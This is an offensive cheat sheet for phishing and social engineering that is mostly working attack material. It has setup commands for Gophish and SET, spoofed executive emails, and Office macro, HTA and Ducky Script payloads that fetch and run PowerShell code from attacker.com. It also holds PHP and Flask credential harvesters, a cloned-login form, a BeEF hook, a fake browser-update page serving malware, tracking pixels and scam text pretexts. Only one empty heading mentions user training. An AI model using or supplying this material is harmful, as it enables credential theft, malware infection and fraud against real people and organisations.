Conduct phishing campaigns, credential harvesting, pretexting, and social engineering attacks using tools like Gophish, SET, and custom techniques...
# Install
wget https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip
unzip gophish-v0.12.1-linux-64bit.zip
chmod +x gophish
./gophish
# Access web interface
https://localhost:3333
# Default: admin:gophish
Gophish Campaign Setup:
# Launch SET
setoolkit
# Common modules:
# 1) Social-Engineering Attacks
# 1) Spear-Phishing Attack Vectors
# 2) Website Attack Vectors
# 3) Credential Harvester Attack Method
Credential Harvester:
# SET Menu:
# 1 -> 2 -> 3 (Credential Harvester)
# Choose site template or custom URL
# Enter attacker IP
# Hosts fake login page
# Captures credentials when submitted
# sendEmail (simple SMTP client)
sendEmail -f ceo@company.com \
-t target@company.com \
-u "Urgent: Password Reset Required" \
-m "Click here to reset: http://evil.com/reset" \
-s smtp.server.com:25
# swaks (SMTP testing tool)
swaks --to target@company.com \
--from ceo@company.com \
--header "Subject: Important Update" \
--body "Please review: http://evil.com" \
--server smtp.company.com
Malicious Office Macros:
' Excel/Word VBA macro
Sub AutoOpen()
Shell "powershell -nop -w hidden -c ""IEX((new-object net.webclient).downloadstring('http://attacker.com/payload.ps1'))"""
End Sub
Malicious PDF:
# Create PDF with embedded JavaScript
# Use tools like:
# - metasploit (exploit/windows/fileformat/adobe_pdf_embedded_exe)
# - PDFtk
# - malicious JavaScript injection
Malicious HTA:
<!-- malicious.hta -->
<html>
<head>
<script language="VBScript">
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "powershell -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"
window.close()
</script>
</head>
</html>
# HTTrack website copier
httrack http://legitimate-site.com -O ./cloned_site/
# wget mirror
wget --mirror --convert-links --adjust-extension --page-requisites --no-parent http://legitimate-site.com
# Manual with curl
curl -o index.html http://legitimate-site.com/login
# Modify form action to send credentials to attacker
<form action="http://attacker.com/harvest.php" method="POST">
Simple PHP Harvester:
<?php
// harvest.php
$file = 'credentials.txt';
$username = $_POST['username'];
$password = $_POST['password'];
$data = "User: $username | Pass: $password | IP: " . $_SERVER['REMOTE_ADDR'] . " | " . date('Y-m-d H:i:s') . "\n";
file_put_contents($file, $data, FILE_APPEND);
// Redirect to real site
header('Location: https://real-site.com');
?>
Python Flask Harvester:
from flask import Flask, request, redirect
app = Flask(__name__)
@app.route('/login', methods=['POST'])
def harvest():
with open('creds.txt', 'a') as f:
f.write(f"User: {request.form['username']}, Pass: {request.form['password']}\n")
return redirect('https://real-site.com')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
Common Pretexts:
# Send SMS with link
# Use services or tools like:
# - Twilio API
# - SMS gateways
# - SIM card with AT commands
# Example pretext:
"Your package delivery failed. Track here: http://evil.com/track"
"Your account has been locked. Reset here: http://evil.com/unlock"
"You've won a prize! Claim here: http://evil.com/claim"
Ducky Script Example:
REM Open PowerShell and download payload
DELAY 2000
GUI r
DELAY 500
STRING powershell -w hidden
ENTER
DELAY 1000
STRING IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')
ENTER
Bash Bunny:
# Payloads at /payloads/switch1/
# Example: exfiltrate files, run payload, etc.
Pretexts:
Payload Ideas:
# Generate QR code pointing to phishing site
qrencode -o evil_qr.png "http://evil.com/harvest"
# Print and place in physical locations:
# - "Scan for Free WiFi"
# - "Employee Portal Access"
# - "Building Directory"
# Start BeEF
./beef
# Hook browsers with:
<script src="http://attacker-ip:3000/hook.js"></script>
# Access UI
http://127.0.0.1:3000/ui/panel
# Default: beef:beef
# Commands:
# - Social Engineering (fake notifications)
# - Browser exploitation
# - Network discovery
# - Credential harvesting
<!-- fake-update.html -->
<html>
<head><title>Critical Browser Update Required</title></head>
<body>
<h1>Your browser is out of date!</h1>
<p>Click here to download the latest security update.</p>
<a href="http://attacker.com/malware.exe">Download Update</a>
</body>
</html>
IT Support:
Executive Impersonation:
Vendor/Partner:
Delivery/Shipping:
# Gather employee information
# - Job titles
# - Organizational structure
# - Technologies used
# - Recent activities/projects
# Tools:
# - theHarvester
# - linkedin2username
# - hunter.io (email patterns)
# Use for:
# - Targeted phishing
# - Pretexting scenarios
# - Impersonation attacks
Links:
Attachments:
Advanced:
Email Tracking:
<!-- Invisible tracking pixel -->
<img src="http://attacker.com/track?id=USER123" width="1" height="1" style="display:none">
Link Tracking:
# Unique URL per target
http://attacker.com/click?id=USER123
# Log access in server
Metrics to Track:
Infrastructure:
Email:
Detection Avoidance:
Teach users to recognize: